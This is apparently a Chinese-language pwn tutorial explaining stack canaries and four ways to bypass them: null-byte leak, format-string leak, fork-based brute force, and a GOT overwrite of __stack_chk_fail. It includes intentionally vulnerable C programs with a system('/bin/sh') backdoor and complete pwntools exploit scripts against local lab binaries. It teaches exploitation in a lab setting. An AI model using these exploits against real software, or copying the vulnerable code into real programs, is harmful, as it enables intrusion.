Canary保护机制以及常用绕过手段

一、前言

canary是一种用来防护栈溢出的保护机制。原理就是在函数入口处,先从fs/gs寄存器中取出一个4字节或者8字节的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。

在32位程序上是gs寄存器偏移0x14

img

在64位程序上是fs寄存器偏移0x28

img

一致则正常退出,如果是溢出或者其它原因导致canary的值发生变化,那么程序将执行__stack_chk_fail函数,从而终止程序

img

当程序开启canary保护之后,就不能正常的使用ROP劫持程序流程了,需要通过一定手段把canary的值泄露出来,之后重新布置ROP时就可以保证Canary值不发生变化,从而劫持程序流程。

二、绕过手段

a、泄露栈中的canary

canary的本意设计低位为’\x00’,是为了截断字符串,防止被恶意泄露。所以泄露栈中canary的思路是覆盖canary的低位,把’\x00‘覆盖掉,这样就不会被截断,可以通过printf等函数泄露出canary。

泄露条件:

存在栈溢出漏洞

可以输出栈上缓冲区内容。比如printf打印变量的内容。

第一张是填充99个,并没有覆盖canary低位的’\x00’,所以低位是’\x00’

image-20230710221529259

这张是填充100个时,此时字符串末尾自动补的’\n‘覆盖到了canary的’\x00‘,所以低位显示的是’\x0a’

image-20230710221715929

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*

sh = process('./a')

elf = ELF('a')

system_addr = elf.sym['getshell']

payload = 100*'a'

sh.recvuntil(b'Hacker!')
sh.sendline(payload)

sh.recvuntil(b'a'*100)
Canary = u32(sh.recv(4)) - 0xa
print(hex(Canary))

payload = 100*b'a'+p32(Canary)+8*b'b'+b'aaaa'+p32(system_addr)

sh.sendline(payload)

sh.interactive()


b、格式化字符串漏洞打印Canary

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
//不设置缓冲区
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}


printf(buf)存在格式化字符串漏洞

%31$p会泄露出Canary的值

image-20230711220814110

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context(os='linux', arch='i386', log_level='debug')
sh = process('./a')

elf = ELF('./a')

system_addr = elf.sym['getshell']

payload = '%'+str(31)+'$'+'p' #偏移31处是Canary

sh.sendlineafter(b'Hacker!',payload)

sh.recvuntil(b'0x')

#print(sh.recv(8))
Canary = int(sh.recv(8),16)

print(hex(Canary))
#print(hex(int(sh.recv(8),16)))


payload = b'a'*100+p32(Canary)+b'aaaaaaaa'+b'bbbb'+p32(system_addr)

sh.sendline(payload)

sh.interactive()

c、one-by-one爆破Canary原理
  • 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是想同的,因为fork函数会直接拷贝父进程的内存。
  • 最低位位0x00,之后逐次爆破,如果Canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此判断爆破是否成功。
  • 利用这样的特性,彻底逐个字节将Canary爆破出来。
示例
1
2
链接:https://pan.baidu.com/s/1oJPcMnx5_7pPZPitkvgaVg 
提取码:aaaa

为了更好的验证,在同级目录下创建一个flag文件并写入flag。

首先检查一下文件保护情况:

image-20230712085237642

32位程序,开启了Canary保护和NX保护,再ida静态分析下:

image-20230712085600541

main函数中存在forkl函数,这是爆破的关键。

再查看fun函数:

image-20230712085641067

可以输入0x78的内容,buf的空间为0x70-0xc=0x64,v2变量保存的就是Canary的值,所以爆破思路就是先用垃圾数据填充buf到Canary,然后再尝试填充Canary。如果Canary正确,则进行下一位爆破,如果Canary错误,程序会执行fork重新运行

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
sh = process('./c')
elf = ELF('./c')

Canary = '\x00'

sh.recvuntil("welcome\n")
for i in range(3):
for j in range(256):
payload = 90*'a'+10*'b'+Canary+chr(j)
sh.send(payload)
data = sh.recvuntil("welcome\n")
print(data)
if b'*** stack smashing detected ***' not in data:
Canary += chr(j)
print("Canary is:"+Canary)
break
#getshell = 0x0804863B
getshell = elf.sym['getflag']
payload = 100*b'a'+Canary.encode()+12*b'a'+p32(getshell)

sh.sendline(payload)
sh.interactive()

d、劫持__stack_chk_fail函数

原理

  • __stack_chk_fail本质上也只是动态加载的一个库函数,和puts是一样的
  • 在开启Canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
例题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// test3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
system("/bin/sh");
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

char buf[100];
read(0, buf, 200);#栈溢出
printf(buf);
return 0;
}

  • 劫持函数需要修改got表,所以要关闭relro(RELocation Read Only)
  • 需要调用getshell函数,所以需要关闭pie
1
2
$ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3

首先查看保护机制

image-20230712115025332

开启了NX和Canary保护,静态分析有后门函数和printf格式化字符串漏洞

学习GOT表的时候我们知道GOT表里保存的是真正的函数地址,所以如果我们把__stack_chk_fail函数GOT表中的地址覆盖为后门函数的地址,那么当检测Canary值不对时跳转执行__stack_chk_fail函数就相当于执行了getshell。

这里可以利用pwntools中的fmtstr_payload()可以方便的进行地址的篡改

1
2
3
fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')
offset(int):字符串的偏移
writes(dict):注入的地址和值,{target_addr:change_to}

第一个参数offset的值,可以通过手工确认

1
2
3
zhuyuan@zhuyuan-vm:~/pwn/Canary$ ./test3
aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
aaaaff9e1808-c8-80491f8-f7fb8ba0-1-f7f797c0-ff9e1944-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-

61616161是第十个值,所以offest偏移为10

1
fmtstr_payload(10,{stack_chk_fail,getshell})
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

sh = process('./test3')

elf = ELF('./test3')

stack_chk_fail = elf.got['__stack_chk_fail'] #获取stack_chk_fail函数got表地址
getshell = elf.sym['getshell'] #获取后门函数地址

payload = fmtstr_payload(10,{stack_chk_fail:getshell}) #更改got表中的地址为后门函数地址
payload = payload.ljust(0x70,b'a') #填充破坏Canary触发stack_chk_fail函数
sh.sendline(payload)

sh.interactive()
~

image-20230712145716487

还有一种SSP LeaK的方法,本人知识匮乏,现阶段理解不清楚,以后会补上。

1
2
3
4
参考资料
https://www.anquanke.com/post/id/177832#h2-3
https://blog.csdn.net/chennbnbnb/article/details/103968714
https://mzgao.blog.csdn.net/article/details/104119680